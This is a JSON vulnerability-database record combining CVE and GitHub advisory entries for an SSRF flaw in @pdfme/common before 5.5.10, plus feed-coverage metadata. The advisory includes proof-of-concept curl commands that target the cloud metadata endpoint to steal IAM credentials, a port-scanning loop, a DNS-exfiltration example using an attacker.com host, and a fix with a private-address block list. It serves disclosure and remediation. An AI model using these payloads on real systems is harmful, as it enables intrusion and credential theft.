{"id":"GHSA-pgx6-7jcq-2qff","revision":null,"records":[{"revision":"25f018981a9e493990601a4f944b3a12","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-82866","aliases":[],"title":"@pdfme/common before 5.5.10 SSRF via Unvalidated URL Fetch","description":"@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.","state":0,"publishedAt":"2026-08-31T08:46:36.781+00:00","modifiedAt":"2026-10-08T15:25:40.663+00:00","affected":[{"ecosystem":"Vendor product","name":"common","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"pdfme\",\n                    \"product\": \"common\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/%40pdfme/common\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"5.5.10\"\n                        },\n                        {\n                            \"version\": \"5.5.10\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":8.9,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","score":6.8,"severity":"MEDIUM"}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-pgx6-7jcq-2qff","https://www.vulncheck.com/advisories/pdfme-common-before-5.5.10-ssrf-via-unvalidated-url-fetch"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-82866","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-82866","identifiers":["CVE-2026-82866"]},"retained":false,"historicalAffected":[]},{"revision":"dacc353412b34a1080953dc74a82946e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-pgx6-7jcq-2qff","aliases":["CVE-2026-82866"],"title":"PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled","description":"## Summary\n\nThe `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.\n\n## Details\n\nThe vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`:\n\n```typescript\n// packages/common/src/helper.ts:130-141\nexport const getB64BasePdf = async (\n  customPdf: ArrayBuffer | Uint8Array | string,\n): Promise<string> => {\n  if (\n    typeof customPdf === 'string' &&\n    !customPdf.startsWith('data:application/pdf;') &&\n    typeof window !== 'undefined'\n  ) {\n    const response = await fetch(customPdf);  // <-- No URL validation\n    const blob = await response.blob();\n    return blob2Base64Pdf(blob);\n  }\n  // ...\n};\n```\n\nThe Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string:\n\n```typescript\nexport const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);\nexport const BasePdf = z.union([CustomPdf, BlankPdf]);\n```\n\nThe `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.\n\nThis function is called from multiple entry points:\n- `packages/generator/src/helper.ts:42` — during PDF generation\n- `packages/ui/src/hooks.ts:67` — during UI rendering\n- `packages/ui/src/helper.ts:292` — during template processing\n\nThe `typeof window !== 'undefined'` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions.\n\n## PoC\n\n### 1. Setup a vulnerable application\n\n```javascript\n// server.js — Next.js API route or Express handler using pdfme\nimport { generate } from '@pdfme/generator';\n\nexport async function POST(req) {\n  const { template, inputs } = await req.json();\n  // Application accepts user-provided templates\n  const pdf = await generate({ template, inputs, plugins: {} });\n  return new Response(pdf);\n}\n```\n\n### 2. Probe internal services via SSRF\n\n```bash\n# Attacker sends a template with basePdf pointing to an internal service\ncurl -X POST http://target-app.com/api/generate-pdf \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"template\": {\n      \"basePdf\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\n      \"schemas\": [[]]\n    },\n    \"inputs\": [{}]\n  }'\n```\n\n### 3. Port scanning internal network\n\n```bash\n# Scan internal hosts by observing response timing differences\nfor port in 80 443 3306 5432 6379 8080; do\n  curl -s -o /dev/null -w \"%{time_total}\" -X POST http://target-app.com/api/generate-pdf \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\n      \\\"template\\\": {\n        \\\"basePdf\\\": \\\"http://10.0.0.1:${port}/\\\",\n        \\\"schemas\\\": [[]]\n      },\n      \\\"inputs\\\": [{}]\n    }\"\n  echo \" - port $port\"\ndone\n```\n\n### 4. Exfiltrate cloud metadata (AWS example)\n\n```bash\n# In SSR context, fetch reads the full response body and converts to base64\ncurl -X POST http://target-app.com/api/generate-pdf \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"template\": {\n      \"basePdf\": \"http://169.254.169.254/latest/meta-data/\",\n      \"schemas\": [[]]\n    },\n    \"inputs\": [{}]\n  }'\n# The fetch will succeed; the response will fail PDF parsing,\n# but error messages or timing differences leak information\n```\n\n## Impact\n\n- **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys.\n- **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.\n- **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.\n- **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).\n- **Data exfiltration via DNS**: Attackers can use DNS-based exfiltration by crafting URLs like `http://<stolen-data>.attacker.com` to leak information even when responses are not readable.\n\n## Recommended Fix\n\nAdd URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges:\n\n```typescript\n// packages/common/src/helper.ts\n\nconst BLOCKED_HOSTNAME_PATTERNS = [\n  /^localhost$/i,\n  /^127\\./,\n  /^10\\./,\n  /^172\\.(1[6-9]|2\\d|3[01])\\./,\n  /^192\\.168\\./,\n  /^169\\.254\\./,\n  /^0\\./,\n  /^\\[::1\\]/,\n  /^\\[fc/i,\n  /^\\[fd/i,\n  /^\\[fe80:/i,\n];\n\nfunction validatePdfUrl(urlString: string): void {\n  let parsed: URL;\n  try {\n    parsed = new URL(urlString);\n  } catch {\n    throw new Error(`Invalid basePdf URL: ${urlString}`);\n  }\n\n  if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {\n    throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);\n  }\n\n  const hostname = parsed.hostname;\n  for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {\n    if (pattern.test(hostname)) {\n      throw new Error(`basePdf URL must not point to private/reserved addresses`);\n    }\n  }\n}\n\nexport const getB64BasePdf = async (\n  customPdf: ArrayBuffer | Uint8Array | string,\n): Promise<string> => {\n  if (\n    typeof customPdf === 'string' &&\n    !customPdf.startsWith('data:application/pdf;') &&\n    typeof window !== 'undefined'\n  ) {\n    validatePdfUrl(customPdf);  // <-- Add validation before fetch\n    const response = await fetch(customPdf);\n    const blob = await response.blob();\n    return blob2Base64Pdf(blob);\n  }\n  // ...\n};\n```\n\nAdditionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.","state":0,"publishedAt":"2026-03-20T20:45:17+00:00","modifiedAt":"2026-10-24T02:56:54.2381127+00:00","affected":[{"ecosystem":"npm","name":"@pdfme/common","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.5.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-pgx6-7jcq-2qff","https://github.com/pdfme/pdfme"],"sourceUrl":"https://github.com/advisories/GHSA-pgx6-7jcq-2qff","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pgx6-7jcq-2qff","identifiers":["GHSA-pgx6-7jcq-2qff","CVE-2026-82866"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-24T15:17:08.9761822+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-24T15:17:08.9761822+00:00","lastSuccessAt":"2026-10-24T15:17:09.2626898+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:09.262691+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9b3cad78792c7367da03684feab05819ddebc4d137048bdbbdabdbb4d2879391-7a04c439aeffdd7655ca9af0bd8f420ff1a078ed0e92d57374aaa2f9190d3c7d","complete":true,"records":413900,"lastAttemptAt":"2026-10-24T15:17:08.454786+00:00","lastSuccessAt":"2026-10-24T15:17:08.436784+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.454786+00:00","snapshotPublishedAt":"2026-10-24T14:25:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-04d3141ad2334e70abe3d9d14909f010","complete":false,"records":964,"lastAttemptAt":"2026-10-24T15:23:27.2830355+00:00","lastSuccessAt":"2026-10-24T15:23:27.3057887+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:23:27.3057887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-24T15:17:08.9761822+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-24T15:17:08.9761822+00:00","lastSuccessAt":"2026-10-24T15:17:09.2638665+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:09.263867+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-48085efb83ec4328a47b92a6601bd322","complete":false,"records":1472,"lastAttemptAt":"2026-10-24T15:17:34.4685953+00:00","lastSuccessAt":"2026-10-24T15:17:34.465+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:34.465+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":1500,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-24T15:17:08.8152763+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.8152763+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-24T15:17:08.613299+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.613299+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-24T15:17:08.9312899+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.9312899+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-01c673643721642d348dd2cebd6ec154e69bb7cd20a86eeae91240dc3610a60f","complete":true,"records":230735,"lastAttemptAt":"2026-10-24T15:17:08.7132737+00:00","lastSuccessAt":"2026-10-24T13:19:32.2429544+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.7132737+00:00","snapshotPublishedAt":"2026-10-24T04:48:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}